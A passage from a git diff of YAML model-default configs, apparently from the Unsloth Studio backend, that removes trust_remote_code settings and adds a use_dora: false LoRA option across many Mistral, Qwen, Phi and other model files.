b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml index abdac62c0c..2ac72f1c88 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Mistral-Nemo-Base-2407", "mistralai/Mistral-Nemo-Base-2407", "unsloth/Mistral-Nemo-Instruct-2407-bnb-4bit", "unsloth/Mistral-Nemo-Instruct-2407", "mistralai/Mistral-Nemo-Instruct-2407", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml index 149f2a24f1..a087ced1f3 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Mistral-Small-Instruct-2409-bnb-4bit, mistralai/Mistral-Small-Instruct-2409 training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml index 3976cd0aa0..c9811f4f06 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: false @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml index 55d5dd289b..e3659d9fb0 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/mistral-7b-instruct-v0.3, mistralai/Mistral-7B-Instruct-v0.3 training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml index 5b24f5b581..ee17efc54d 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml @@ -2,7 +2,6 @@ # Based on Mistral_v0.3_(7B)-Alpaca.ipynb # Also applies to: "unsloth/mistral-7b-v0.3", "mistralai/Mistral-7B-v0.3", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -34,6 +33,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -41,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml index 87b94ce67c..ef836b9b55 100644 --- a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml @@ -6,7 +6,6 @@ audio_type: dac training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -34,6 +33,7 @@ lora: - "v_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.4 top_k: 40 top_p: 0.9 diff --git a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml index 03748cd5fd..c80fad35a8 100644 --- a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml +++ b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml @@ -6,7 +6,6 @@ audio_type: bicodec training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -39,6 +38,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -48,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.8 top_k: 50 top_p: 1.0 diff --git a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml index 5c1e180f8c..034b5bd131 100644 --- a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml +++ b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml @@ -5,7 +5,6 @@ audio_type: csm training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -38,6 +37,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,6 +45,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml index 6d8be3656f..d1a226be79 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/GLM-4.7-Flash-unsloth-bnb-4bit, unsloth/GLM-4.7-Flash-bnb-4bit, THUDM/GLM-4.7-Flash training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "out_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 0.7 top_p: 0.8 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml index 39a2fe0a5b..1b8df5ced9 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -39,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.3 min_p: 0.15 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml index 663ce87d5f..cecab7f083 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -38,6 +37,7 @@ lora: - "out_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -47,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.0 top_p: 1.0 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml index b7587bbd91..730be338cf 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -49,7 +49,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml index cc5d130bfa..a70ac0bd49 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml @@ -2,7 +2,6 @@ # Based on bert_classification.ipynb training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 1 num_epochs: 0 @@ -34,6 +33,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -41,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml index 883761675f..90ead037f6 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml @@ -6,7 +6,6 @@ audio_type: snac training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -39,6 +38,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -48,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml index 35c850c71f..a97c557c31 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: TinyLlama/TinyLlama-1.1B-intermediate-step-1431k-3T training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 1 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml index 9140878e0e..6855ed6a35 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml @@ -6,7 +6,6 @@ audio_type: whisper audio_input: true training: - trust_remote_code: false eval_steps: 5 max_seq_length: 448 # num_epochs: 4 @@ -34,6 +33,7 @@ lora: - "v_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -41,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml index 1088df7796..1933fed2ba 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Phi-3-medium-4k-instruct-bnb-4bit", "microsoft/Phi-3-medium-4k-instruct", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml index 79812a74c4..fda4e64158 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Phi-3.5-mini-instruct-bnb-4bit", "microsoft/Phi-3.5-mini-instruct" training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml index aaa4feac45..c3910e3e5b 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.8 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml index fa7b9c4e8b..765ffee938 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml @@ -4,7 +4,6 @@ # MoE model - includes gate_up_proj for MoE layers training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -37,6 +36,7 @@ lora: - "gate_up_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -46,7 +46,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml index 3e64a6ca48..39b30e9cee 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2-7B-bnb-4bit, Qwen/Qwen2-7B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml index 894751bed1..f97e525798 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml index 1d37cc9829..e19b94ede2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-1.5B-Instruct-unsloth-bnb-4bit, Qwen/Qwen2.5-1.5B-Instruct, unsloth/Qwen2.5-1.5B-Instruct-bnb-4bit training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml index 99f3a66e23..982f54b32f 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-7B-unsloth-bnb-4bit, Qwen/Qwen2.5-7B, unsloth/Qwen2.5-7B-bnb-4bit training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml index c48b943cba..5242128004 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-Coder-1.5B-Instruct-bnb-4bit, Qwen/Qwen2.5-Coder-1.5B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml index 830bfcf1cb..3559b636c6 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml index db88c3b033..3bc6d69afc 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-Coder-7B-Instruct, Qwen/Qwen2.5-Coder-7B-Instruct training: - trust_remote_code: false max_seq_length: 32768 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml index cb9bcb104b..604b86dacd 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml index 13f066a27d..daed4ebccb 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml index 87c042705b..05eef89b88 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml index a8ecbb4365..b4580e6d71 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml index 485dd7a111..2eceb7d0de 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml @@ -4,7 +4,6 @@ # MoE model - includes gate_up_proj for MoE layers training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -37,6 +36,7 @@ lora: - "gate_up_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -46,7 +46,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml index 0de64d50ae..032091880c 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml index dc5940d58c..e0e7f4ee3d 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.80 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml index 6392ee0ae9..bb463849ed 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false 